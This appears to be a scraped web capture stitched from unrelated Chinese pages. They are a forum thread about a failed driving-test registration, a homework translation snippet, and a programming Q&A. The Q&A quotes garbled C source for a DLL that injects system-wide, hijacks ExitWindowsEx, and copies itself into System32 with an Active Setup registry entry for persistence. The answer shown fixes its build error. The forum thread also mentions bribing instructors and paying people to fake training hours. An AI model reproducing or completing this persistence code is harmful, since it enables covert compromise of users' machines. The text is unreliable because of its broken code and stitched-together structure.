今天报名了大神帮忙开通 花呗

  LZ是个很倒霉滴银,就是那种出门挨下雨,去玩店家关门,公车至少等半小,吃饭发生案件等等的虽人=。。=这个暑假被老妈赶着去考驾照,说神马以后要涨价了快去学。我想被赶去就去了(我连单车电摩都不会我会说么,这又是个悲惨滴故事)然后在学车过程中经历了各种悲催滴事,例如直倒我都倒了二十天,教练说我们最蠢学员,木有之一。。我但求考过个科目二先。可是熬了一个多月,现在快开学了!!我是上个月21日考完交规,本来教练说这个月23号有一波能考试帮我报名,今天教练说我不得参加,因为他报上去说我录不进系统,参加不了!问为什么他说他也不知道。。。再问那下个月能考试吗,他说那要看你录得进系统吗。。想问下知道滴大神解答这个什么系统问题,我为什么录不进(天要亡我咩,两把宽面条泪,虽啊!)那我咋办啊,九月一日开学了啊啊啊啊啊啊啊,系统神马我给你跪啦!
楼主发言:1次 发图:0张
  没人啊!!捉急啊啊!!自杀个!
  我果然帖子杀手。。。就这样沉了咩。。虽
  验证码还输错N次!!发了三个回复怎么粗不来、、、我这RP!
  八卦沉好快。
  楼主和教练认识么?
  @可乐的女王
15:44:59  楼主和教练认识么?   -----------------------------  这个。应该算不认识,就是隔壁的隔壁卖蒜米家的邻居的儿子介绍的,说他在那学,离得近。(我晕,打完这段我都汗自己个了)
  楼主肯定练车时没有给教练摸过腿,不然不会这么刁难你╭(╯ε╰)╮  
  @塞纳河潮西流
15:48:56  楼主肯定练车时没有给教练摸过腿,不然不会这么刁难你╭(╯ε╰)╮  本帖发自天涯社区手机客户端  -----------------------------  不是我不给摸啊啊啊。。搓人一个。教练本来就不爱我这种土土滴学生。。他比较爱和上班滴20出头滴穿裙子穿美鞋漂亮姐姐们聊啊。。我们这种帽子眼镜衬衣长裤跑鞋恨不得裹成粽子滴银。。。可是我们几个学生教练说一起报名的。就我神马录入系统失败不得考!个例啊,我RP又爆发了
  说个题外话。LZ我真的很蠢啊,个前进后退都开了20天,我没有左右东西南北概念额,我高中还是文科僧我会说嘛!!现在一个多月,也就学完倒桩移库。。其他啥也没学,现在还有这个晴天霹雳不的考试,我要寒假再去了啊
  天涯一直吞贴。。各种发不粗。。T-T没我容身之处么
  肯定楼主没有讨好教练了,我们班还有想提早学完教练给插队到前面一组去的呢。
  回复第8楼,@kllip  @塞纳河潮西流
15:48:56  楼主肯定练车时没有给教练摸过腿,不然不会这么刁难你╭(╯ε╰)╮  本帖发自天涯社区手机客户端  -----------------------------  不是我不给摸啊啊啊。。搓人一个。教练本来就不爱我这种土土滴学生。。他比较爱和上班滴20出头滴穿裙子穿美鞋漂亮姐姐们聊啊。。我们这种帽子眼镜衬衣长裤跑鞋恨不得裹成粽子滴银。。。可是我们几个学生教练说一起报名的。就我神马录入系统失败不得考!个例啊,我RP又爆发了  --------------------------  平时槟榔,烟,饮料的也要勤买啊~  
  @君已成陌
15:58:27  肯定楼主没有讨好教练了,我们班还有想提早学完教练给插队到前面一组去的呢。   -----------------------------  我也有点怀疑啊。。可是我这一波都是学生,没看见大家讨好啥,都是高中刚毕业多啊。不过不排除偷偷滴,可是我今天和老妈说了,老妈打电话给教练,暗示送点烟过去,教练说不用啊,他也帮不了,不是不让我考,是系统录不进,那系统到底是神马啊
  @塞纳河潮西流
15:58:31  回复第8楼,@kllip  @塞纳河潮西流
15:48:56  楼主肯定练车时没有给教练摸过腿,不然不会这么刁难你╭(╯ε╰)╮  本帖发自天涯社区手机客户端  -----------------------------......  -----------------------------  土鳖楼主是妹子,搞不懂烟额,可是今天老妈打电话说了,教练也说不得,说是系统问题,什么时候录得进我才能考试,有谁遇到这种问题的么!
  @kllip 13楼   我也有点怀疑啊。。可是我这一波都是学生,没看见大家讨好啥,都是高中刚毕业多啊。不过不排除偷偷滴,可是我今天和老妈说了,老妈打电话给教练,暗示送点烟过去,教练说不用啊,他也帮不了,不是不让我考,是系统录不进,那系统到底是神马啊  -----------------------------  不知道哎,不过送礼啥的好像是惯例,我一去他们就要求凑份子一人200买东西送教练,我当时没钱而且我爸认识教练就没交了,教练当时也没要,后来他们商量着偷偷塞教练车里,也不知道成功没。我不知道那系统是神马啊,我考试是按正常日期的,没遇到过。难道是你的资料有问题?可是科目一考过了应该就没有,还有可能有人找关系插队把你挤掉了,如果这样的话只能等下一次了。
  @君已成陌
16:13:14  @kllip 13楼  我也有点怀疑啊。。可是我这一波都是学生,没看见大家讨好啥,都是高中刚毕业多啊。不过不排除偷偷滴,可是我今天和老妈说了,老妈打电话给教练,暗示送点烟过去,教练说不用啊,他也帮不了,不是不让我考,是系统录不进,那系统到底是神马啊  -----------------------------  不知道哎,不过送礼啥的好像是惯例,我一去他们就要求凑份子一人200买东西送教.....  --------------------------  我见我同学去学也各种给教练买烟酒,这种神马录不进系统的问题让我碰上,而且文问人都没人有过这问题!!资料体检考科目一我都是和大家一起的。我也觉得不会有错误啊。有人插队挤掉还能相信。可是我问教练下一批呢,他说那也要看能录入系统么,啊啊啊破系统,因为原来十个多学生,现在只剩我一个了,如果不是被挤掉,是这系统问题那我上哪问啊,车管所根本没见有这个问题的提示啊
  我还是第一次看见这个理由……木法理解。我们一同学是考完试但是电脑上没有他的成绩,后来又重考  嗯……是不是你在后面说教练坏话被他听到了?……
  @簪花格小楷
17:13:43  我还是第一次看见这个理由……木法理解。我们一同学是考完试但是电脑上没有他的成绩,后来又重考  嗯……是不是你在后面说教练坏话被他听到了?……  -----------------------------  我也是啊。第一次听说,果然是人品爆发么!我问了一溜同学。。人家都是交钱体检完就一路教练安排。。木听说报名失败录入不得的啊。。你同学那个好歹是考完,教练说考试车感应器一天烂的,有人都挨重考三次了,或者系统更新丢失了。。。可是尼玛我是报名想考都不得啊,我我我。。我资料有神马不堪入目滴么,系统你不要拒绝我啊!
  @kllip 18楼   我也是啊。第一次听说,果然是人品爆发么!我问了一溜同学。。人家都是交钱体检完就一路教练安排。。木听说报名失败录入不得的啊。。你同学那个好歹是考完,教练说考试车感应器一天烂的,有人都挨重考三次了,或者系统更新丢失了。。。可是尼玛我是报名想考都不得啊,我我我。。我资料有神马不堪入目滴么,系统你不要拒绝我啊!  -----------------------------  我赶脚系统是不可能拒绝你的…你看你电脑拒绝你了没,没吧。最有可能就是教练拒绝你…就跟我们一起练车的阿姨说的一样,电脑啊机器啊不也是人操作的么
  LZ你是哪儿的啊???  话说你是时候给教练好处咯撒
  直接去办公室问报名的人呗,干嘛一直听他扯,不过上次我们驾校有俩个名字一样的,就去了一个。不知道有关系没  
  @簪花格小楷
20:50:04  @kllip 18楼  我也是啊。第一次听说,果然是人品爆发么!我问了一溜同学。。人家都是交钱体检完就一路教练安排。。木听说报名失败录入不得的啊。。你同学那个好歹是考完,教练说考试车感应器一天烂的,有人都挨重考三次了,或者系统更新丢失了。。。可是尼玛我是报名想考都不得啊,我我我。。我资料有神马不堪入目滴么,系统你不要拒绝我啊!  -----------------------------  -----------------------------  刚下午又去驾校溜了圈。。发现了同好还有个人也是没报名得,教练也是说机器录不进。可是我们教练每次考试能带六个, 这回就四个,有两个就是我两倒霉蛋。。没见他顶人进去啊。今天去和教练撒泼打滚讨好神马料,教练说下次继续帮你报,再不得也没办法。我去,弱弱想问学车中途现在好可以换教练换驾校么
  @菠萝我是凤梨
22:20:14  LZ你是哪儿的啊???  话说你是时候给教练好处咯撒  -----------------------------  西南边陲小城市。今天给了,可是教练说真滴不是他滴问题,他也很想快点让我们考完滚蛋滴。。。我在想是不是我这小驾校不给力啊,大驾校要名额是不是快哦。不然怎么放我不进去,给力滴教练肯定能解决滴,,呜呜可不可以换
  @苏苏的可可
22:29:20  直接去办公室问报名的人呗,干嘛一直听他扯,不过上次我们驾校有俩个名字一样的,就去了一个。不知道有关系没  本帖发自天涯社区手机客户端  -----------------------------  我这难听破名字,好像在网上用神马系统查过,全国只有我一个,人人腾讯朋友校友网神马我还没见过同名滴。。没有见过办公室啊!都是只见教练,我们驾校是在一个技校里面,旁边还是高中神马,就在人教学楼门口操场那么大点,现在暑假,教学楼都空荡荡(=。 =我找滴神马小破驾校啊,当时真应该打醒自己)我怀疑办公室不在这,这只是租借的场地给我们练
  话说今天楼猪和朋友们说了这事,大家都表示“你果然会碰上这种没出现的破事……”粪蛋啊!他们学车都避开我报名不一起啊,不给我和他们一个驾校一起学啊学车啊,这人品!
  @kllip
00:26:16  LZ是个很倒霉滴银,就是那种出门挨下雨,去玩店家关门,公车至少等半小,吃饭发生案件等等的虽人=。。=这个暑假被老妈赶着去考驾照,说神马以后要涨价了快去学。我想被赶去就去了(我连单车电摩都不会我会说么,这又是个悲惨滴故事)然  -----------------------------  很熟悉考驾照操作的表示,是你们驾校这个月的名额满了。每个驾校每个月能够考试的人数是固定的,由驾校的教练人数决定。LZ估计练得也一般,有不过的危险,所以你懂的  
  楼主这个应该是指纹的问题  
  @kllip 23楼   西南边陲小城市。今天给了,可是教练说真滴不是他滴问题,他也很想快点让我们考完滚蛋滴。。。我在想是不是我这小驾校不给力啊,大驾校要名额是不是快哦。不然怎么放我不进去,给力滴教练肯定能解决滴,,呜呜可不可以换  -----------------------------  哦哦那就不太懂咯,话说真的不是教练问题?!哎,我师父就说如果不是在网上抢名额,而是车管所给名额,他都有办法拿到更多的名额,最多就是师傅去打点哈上面的人嘛,哎,所以看师傅吧我觉得  我是成都滴从科目二开始就是自己去网上抢考试名额,抢得到就考抢不到就下次再来  哎  祝LZ早点考过
  @kllip 22楼   刚下午又去驾校溜了圈。。发现了同好还有个人也是没报名得,教练也是说机器录不进。可是我们教练每次考试能带六个, 这回就四个,有两个就是我两倒霉蛋。。没见他顶人进去啊。今天去和教练撒泼打滚讨好神马料,教练说下次继续帮你报,再不得也没办法。我去,弱弱想问学车中途现在好可以换教练换驾校么  -----------------------------  换驾校的话不知道。但是只要科目二没考都是可以换教练的
  回复第24楼,@kllip  @苏苏的可可
22:29:20  直接去办公室问报名的人呗,干嘛一直听他扯,不过上次我们驾校有俩个名字一样的,就去了一个。不知道有关系没  本帖发自天涯社区手机客户端  -----------------------------  我这难听破名字,好像在网上用神马系统查过,全国只有我一个,人人腾讯朋友校友网神马我还没见过同名滴。。没有见过办公室啊!都是只见教练,我们驾校是在一个技校里面,旁边还是高中神马,就在人教学楼门口操场那么大点,现在暑假,教学楼都空荡荡(=。 =我找滴神马小破驾校啊,当时真应该打醒自己)我怀疑办公室不在这,这只是租借的场地给我们练  --------------------------  卤煮不是一般的倒霉啊看来,那你们报名是直接把钱给教练的?没有投诉电话什么的?交通大队应该会管的吧,看来你的驾校不怎么正规啊  
  lz没有考倒桩?  不知道是不是我没有看懂  如果是没有考倒桩,是不能考科目二
  为毛你们都想着找教练而不去找交管。。。教练算个毛啊。。。问下熟人看有没有认识的人,我当时也是因为工作和考试时间对冲,去找的交管,交管直接提前安排考,时间还能自己选。  
  容我说句大实话…直倒都要学20天,换我师傅肯定见你就骂你!我没学直进直退,直接入库遗库,第一天熄了两次火被骂死了……可就学了四五次就学会了。不知道现在楼主通过没,如果在学记得不要害怕车子,胆大得开  
  系统录不进去你的信息很正常,我们驾校也有,经常该考试了,提前安排的人,总是会有一两个人的信息录不进去,这不是教练刁难你,确实是系统的问题,或者可以说是车管所那边的问题,跟驾校和教练没有关系
  没送东西  
  lz,你只能等了,不管是系统问题还是人为操作问题,这次没录上都要等下一批了,再说你总考不过教练也烦,会找机会赶紧把你打发掉的。
  二十天只会倒库!?考也考不过的好吗,你当坡上起步和单边桥什么的不存在?去了也是浪费机会!还有阿。没有录入系统很多原因好吗?比如没有交学员卡。没考科目一,考了科目一但是科目二未打卡学时不够等等  
  楼主看到我啊。  应该是你的指纹录入时出了问题。要么就是你的学员卡没有打够学时。我们个个人都是花150找人帮忙打卡的。不然,80学时的卡,每天只能打4小时。哎!新交规虽然要遏制马路杀手,可是,苦看我们这些老老实实的普通老百姓。上有政策,下有对策。
  请问楼主这个问题解决了吗?是什么情况?我也碰到这样的问题,考不了了,希望楼主给个建议啊  
请遵守言论规则,不得违反国家法律法规帮忙翻译成英文~这份报纸可以让人们知道一百年前的今天发生了什么._百度作业帮
帮忙翻译成英文~这份报纸可以让人们知道一百年前的今天发生了什么.
帮忙翻译成英文~这份报纸可以让人们知道一百年前的今天发生了什么.
This newspaper can let people know what happened one hundred years ago today
扫描下载二维码写了一个Hook,报__imp__ImageDirectoryEntryToData@16错误,请大神们帮我看看-中国学网-中国IT综合门户网站
> 写了一个Hook,报__imp__ImageDirectoryEntryToData@16错误,请大神们帮我看看
写了一个Hook,报__imp__ImageDirectoryEntryToData@16错误,请大神们帮我看看
转载 编辑:李强
为了帮助网友解决“写了一个Hook,报__imp__Ima”相关的问题,中国学网通过互联网对“写了一个Hook,报__imp__Ima”相关的解决方案进行了整理,用户详细问题包括:windowsc语言dllhook用vs2013编译这个程序,报__imp__ImageDirectoryEntryToData@16错误,请大神们帮我看看!!!#ifndef&PEHOOK__H#define&PEHOOK__H/*----------------------------------------------------------------------*/#ifdef&INJECT_EX_EXPORTS#define&HOOKDLL_API&__declspec(dllexport)#else#define&HOOKDLL_API&__declspec(dllimport)#endif//钩子信息结构体typedef&struct&_APIHOOK32_ENTRY{LPCTSTR&&&&&pszAPIN&&//API名字LPCTSTR&&&&&pszCallerModuleN//被调用的模块名PROC&&&&&&&&pfnOriginApiA//原始的函数地址PROC&&&&&&&&pfnDummyFuncA//新的函数地址HMODULE&&&&&hModCallerM//调用的模块句柄}APIHOOK32_ENTRY,&*PAPIHOOK32_ENTRY;PROC&lpA//表示原始函数的地址APIHOOK32_ENTRY&//设置钩子HOOKDLL_API&int&SetNyAPIHook();///卸载钩子HOOKDLL_API&int&UnSetNyAPIHook();/*----------------------------------------------------------------------*/#endif/*&此钩子为一个API钩子挂接user32.dll模块的&ExitWindowsEx函数*/#define&INJECT_EX_EXPORTS///宏定义&注册表中的一个表项#define&ACTIVE_SETUP&"SOFTWARE\\Microsoft\\Active&Setup\\Installed&Components\\{450D8FBA-AD25-11D0-98A8-5}"//要使用的头文件#include&&windows.h&#include&"PEHOOK.h"#include&&imagehlp.h&#include&&tlhelp32.h&//这句声明将使得在#pramga后申明的数据glhHook将在名为mydata存储区里面进行分配#pragma&data_seg("mydata")&&HHOOK&glhHook&=&NULL;//安装的钩子句柄&&#pragma&data_seg()&//将注释放置到生成的目标文件或者可执行文件中去#pragma&comment(linker,"/SECTION:mydata,RWS")HINSTANCE&glhInstance&=&NULL;&//DLL实例句柄&/*---------------------------&钩子子程的定义&用回调函数&&-------------------------------------------*///LRESULT&从窗口程序或者回调函数返回的32位值LRESULT&HookProc(int&&&code,//&hook&code&&&WPARAM&wParam,&&&//&removal&option&LPARAM&lParam//&message&){///函数执行成功时返回钩子链中的下一个钩子过程的返回值,返回值类型取绝于钩子的类型///函数执行失败时,返回0&则钩子链断了return&CallNextHookEx(glhHook,&code,&wParam,&lParam);///CallNextHookEx()调用下一个钩子}/*--------------------------修改要调用的API函数,&改为指向自定义的函数&-------------------------------------------*/BOOL&WINAPI&_SetApiHookUp(PAPIHOOK32_ENTRY&phk){PIMAGE_THUNK_DATA&pT&&&///PE文件的一个结构体ULONG&//获取指向PE文件中的Import中IMAGE_DIRECTORY_DESCRIPTOR数组的指针PIMAGE_IMPORT_DESCRIPTOR&pImportDesc&=(PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData&(phk-&hModCallerModule,&&TRUE,//指定文件如何被映射,TRUE&表示文件映射的系统作为一个图像IMAGE_DIRECTORY_ENTRY_IMPORT,&///指定所需的目录项的索引号&,此时为输出目录&size///&接待大小,以字节,为目录项的数据);if&(pImportDesc&==&NULL)//失败return&FALSE;////查找记录,查找是否存在目标API函数ExitWindwosEx所在的user32.dllfor&(;&pImportDesc-&N&pImportDesc++){LPSTR&pszDllName&=&(LPSTR)((PBYTE)phk-&hModCallerModule&+&pImportDesc-&Name);///字符串的比较&&是不是&user32.dll&if&(lstrcmpiA(pszDllName,&phk-&pszCallerModuleName)&==&0)}if&(pImportDesc-&Name&==&NULL)return&FALSE;////寻找我们所要HOOK的ExitWindwosEx函数pThunk&=&(PIMAGE_THUNK_DATA)((PBYTE)phk-&hModCallerModule&+&pImportDesc-&FirstThunk);for&(;&pThunk-&u1.F&pThunk++){//ppfn记录了与IAT表项相应的函数的地址PROC&*ppfn&=&(PROC&*)&pThunk-&u1.F///寻找要找的函数ExitWindowsEx&&通过地址查找if&(*ppfn&==&phk-&pfnOriginApiAddress){//如果地址相同,也就是找到了我们想要的函数,进行改写,将其指向我们所定义的函数WriteProcessMemory(GetCurrentProcess(),&ppfn,&&(phk-&pfnDummyFuncAddress),sizeof(phk-&pfnDummyFuncAddress),&NULL);return&TRUE;}}return&FALSE;}/*----------------------------------------------------------------------SetWindowsAPIHook:挂接WindowsAPI函数。当phk-&hModCallerModule&==&NULL会在整个系统内挂接函数。仿照SetWindowsHookEx建立若想HOOK所有模块对目标API函数的调用,则需要枚举所有模块,然后逐一调用_SetApiHookUp函数------------------------------&钩子的安装&----------------------------------------*/BOOL&WINAPI&SetWindowsAPIHook(PAPIHOOK32_ENTRY&phk){///定义变量MEMORY_BASIC_INFORMATION&mI&&///存放内存块信息结构体HMODULE&hModHookDLL;///模块句柄HANDLE&hS///句柄BOOL&bOk;MODULEENTRY32&me&=&{&sizeof(MODULEENTRY32)&};///判断&API名字、被调用的模块名、原始函数地址&是否为空if&(phk-&pszAPIName&==&NULL&||&phk-&pszCallerModuleName&==&NULL&||phk-&pfnOriginApiAddress&==&NULL)return&FALSE;//判断调用的模块句柄是否为空if&(phk-&hModCallerModule&==&NULL){///查询地址空间中内存地址的信息,存放在mInfo中VirtualQuery(_SetApiHookUp,&&mInfo,&sizeof(mInfo));//地址对应的模块句柄&&mInfo.AllocationBase&内存块所占的第一块区域基地址hModHookDLL&=&(HMODULE)mInfo.AllocationB//h获得模块快照hSnapshot&=&CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,&0);///获得进程第一个模块&,表示本身bOk&=&Module32First(hSnapshot,&&me);///获得进程所有模块while&(bOk){///判断模块地址是否相同,&除去模块本身的其他模块&,HOOK所有模块对目标API函数的调用if&(me.hModule&!=&hModHookDLL){///设置模块句柄phk-&hModCallerModule&=&me.hM///设置对每一个模块进行HOOK,挂上钩子_SetApiHookUp(phk);}bOk&=&Module32Next(hSnapshot,&&me);}phk-&hModCallerModule&=&NULL;return&TRUE;}else//&模块不为空return&_SetApiHookUp(phk);&//获得下一个钩子return&FALSE;}/*-------------------------------&钩子的卸载&---------------------------------------*/BOOL&WINAPI&UnhookWindowsAPIHooks(PAPIHOOK32_ENTRY&lpHk){/////将原始函数的地址与新函数的地址交换&实现钩子的卸载PROC&///获得原始的函数地址temp&=&lpHk-&pfnOriginApiA///设置原始的函数地址lpHk-&pfnOriginApiAddress&=&lpHk-&pfnDummyFuncA///设置新的函数地址lpHk-&pfnDummyFuncAddress&=&///设置return&SetWindowsAPIHook(lpHk);}/*----------------------------&通过修改注册表来注入DLL&--------------------------------------*自定义的MyExitWindowsEx&实现修改注册表注入DLL&功能*注意参数格式和原函数一样------------------------------------------------------------------*/BOOL&WINAPI&&MyExitWindowsEx(UINT&uFlags,&//&shutdown&operationDWORD&dwReserved//&reserved){///当前工程编译后文件路径TCHAR&szModuleName[MAX_PATH]&=&{&0&};//这里的值为:"&系统目录+PEHOOK.dll&";TCHAR&szDestFath[MAX_PATH];HKEY&hSubKey&=&0;//获得这个dll注入的进程exe的全路径GetModuleFileName(NULL,&szModuleName,&sizeof(szModuleName));//获取系统目录路径GetSystemDirectory(szDestFath,&MAX_PATH);//得到目标全路径&如&C:\Windows\System32\loader.exestrcat(szDestFath,&"\\loader.exe");//复制自身到系统目录下CopyFile(szModuleName,&szDestFath,&true);//用来删除一个注册表键值&RegDeleteKey(HKEY_CURRENT_USER,&ACTIVE_SETUP);//在指定的项下创建一个新项。加载ActiveX启动RegCreateKey(HKEY_LOCAL_MACHINE,&ACTIVE_SETUP,&&hSubKey);//设置指定项的值&&键的stubpath的值设置为一个路径RegSetValueEx(hSubKey,&"stubpath",&0,&REG_EXPAND_SZ,&(BYTE&*)szDestFath,&lstrlen(szDestFath));//释放指定注册键的句柄hSubKeyRegCloseKey(hSubKey);//ExitWindowsEx()用来退出、重启或注销系统return&ExitWindowsEx(uFlags,&dwReserved);&//函数成功返回值为非零&;&否则返回0}/*------------------------&设置钩子&来截获从消息队列送出的消息&----------------------------------------*/int&&SetNyAPIHook(){///设置钩子glhHook&=&SetWindowsHookEx(WH_GETMESSAGE,//WH_GETMESSAGE&=&3;系统级或线程级;&当往消息队列中增加一个消息时将触发此钩子&(HOOKPROC)HookProc,//HookProc钩子指针glhInstance,&//glhInstance&包含钩子函数的模块(EXE、DLL)句柄0&&//关联的线程;&可用&GetCurrentThreadId&获取当前线程;&0&表示是系统级钩子);//设置失败if&(glhHook&==&NULL)return&0;return&1;}/*------------------------------&卸载钩子&----------------------------------------*/int&&UnSetNyAPIHook(){//卸载钩子&自定义函数UnhookWindowsAPIHooks(&pe);//删除钩子句柄UnhookWindowsHookEx(glhHook);return&1;}/*----------------------------&主函数&------------------------------------------*///静态链接或动态链接时,调用LoadLibrary和FreeLibrary都会调用DllMain函数//ul_reason_for_call可以有的参数为://DLL_PROCESS_ATTACH、DLL_THREAD_ATTACH、DLL_THREAD_DETACH、DLL_PROCESS_DETACHBOOL&APIENTRY&DllMain(HINSTANCE&hModule,DWORD&&ul_reason_for_call,LPVOID&lpReserved){//不同进程用LoadLibrary同一个DLL时,每个进程的第一次映射都会用DLL_PROCESS_ATTACH调用DLL的DllMain函数//如果同一个进程后来为已经映射进来的DLL再次调用LoadLibrary或者LoadLibraryEx,操作系统只会增加DLL的使用次数,//它不会再用DLL_PROCESS_ATTACH调用DLL的DllMain函数。if&(ul_reason_for_call&==&DLL_PROCESS_ATTACH){glhInstance&=&hM&&&///钩子&//&MessageBox(NULL,"不能重起!!!","提示",MB_OKCANCEL);pe.pszAPIName&=&"ExitWindowsEx";//API名字pe.pszCallerModuleName&=&"user32.dll";//被调用的模块名pe.pfnOriginApiAddress&=&(PROC)ExitWindowsEx;//原始函数ExitWindowsEx的地址pe.pfnDummyFuncAddress&=&(PROC)MyExitWindowsEx;//新函数MyExitWindowsEx的地址pe.hModCallerModule&=&NULL;////调用的模块句柄lpAdder&=&(PROC)ExitWindowsEx;//为原始函数的地址SetWindowsAPIHook(&pe);///挂起钩子}return(TRUE);}错误信息1&PEHOOK.obj&:&error&LNK2019:&无法解析的外部符号&__imp__ImageDirectoryEntryToData@16,该符号在函数&"int&__stdcall&_SetApiHookUp(struct&_APIHOOK32_ENTRY&*)"&(?_SetApiHookUp@@YGHPAU_APIHOOK32_ENTRY@@@Z)&中被引用1&E:\代码\vs2013\hook\Debug\hook.dll&:&fatal&error&LNK1120:&1&个无法解析的外部命令,具体解决方案如下:解决方案1://#include&&imagehlp.h&#pragma&&comment&(lib,&"imagehlp")通过对数据库的索引,我们还为您准备了:答:参考答案:《广陵散》的题材内容取自于《聂政刺韩王》的故事。战国时韩国人聂政,因其父为韩王铸剑误期而被处死。聂政成人后决心为父报仇。他自毁面容入山学琴十年,后以高超琴艺进宫奏琴,在演奏中借机刺死韩王,自己也壮烈身亡。由此故事可见,《广...===========================================问:写钩子程序思路和原来是什么 最好有个例子答:C#写HOOK还是延续WINDOWS HOOK的思路的,使用标准的API :SetWindowHookEx....思路很简单:写个类自己定义一个钩子事件然后再自己程序中调用,下面是我以前写...===========================================问:写钩子程序思路和原来是什么 最好有个例子答:DATAS SEGMENT ;此处输入数据段代码 DATAS ENDS CODES SEGMENT ASSUME CS:CODES,DS:DATAS,SS:STACKS START: MOV AX,DATAS MOV DS,AX ;此处输入代码段代码 MOV AH,4CH INT 21H CODES ENDS END START===========================================问:VS 2010 C++ ,写了一个全局键盘钩子keyhook.dll,然后通过控制台程序调...答:DLL虽然会映射到所有进程中,但是其数据段(就是存放全局变量和静态变量的段)在每个进程中都会各自拷贝一份的,除非是共享数据段,所以就出现这种情况。 你的问题就是多进程中如何共享数据,除了共享数据段,还有映射文件,再复杂点,你还可以...===========================================问:主程序 #include&windows.h& _declspec(dllimport) void SETHOOK(); int...答:什么症状撒,都没说清楚 我晕 这个是安装钩子的过程。。。不用输出。 只是你运行程序后,当切换到你的运行窗口的时候,你的鼠标消息会被屏蔽掉 就是这个功能 它本来就没有输出的 也就是说如果你的鼠标被屏蔽掉了的话 你的hook就安装成功了===========================================问:用vb键盘钩子写一个键盘记录的代码,30分答:一、新建一个ActiveX Dll工程,名字栏里取名为SysHook 二、添加一个模块,取名为mHook,添加代码如下: Option Explicit Type POINTAPI x As Long y As Long End Type Type TMSG hwnd As Long message As Long wParam As Long lParam As Long ti...===========================================问:我今天做一个鼠标Hook的时候,用的是一个DLL文件,我把dll工程中的头文...答:把StartHook函数声明为extern "C"试一下,应该是C写的DLL,和C++编译后的名字不一样,导致链接错误。 PS: 现在不是说找不到.lib文件,而是函数符号无法解析。unresolved external symbol,这是由于C和C++编译以后函数名不一样,这个你用dumpbin...===========================================问:比如我hook了写内存的API,我在DLL里做了个窗口,但是这样的话内存不能写...答:用虚拟文件来操作。 FileMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(TDATA), PChar(String_ID)); 通过公用内存来操作。===========================================
本文欢迎转载,转载请注明:转载自中国学网: []
用户还关注

我要回帖

更多关于 求大神帮忙 的文章

 

随机推荐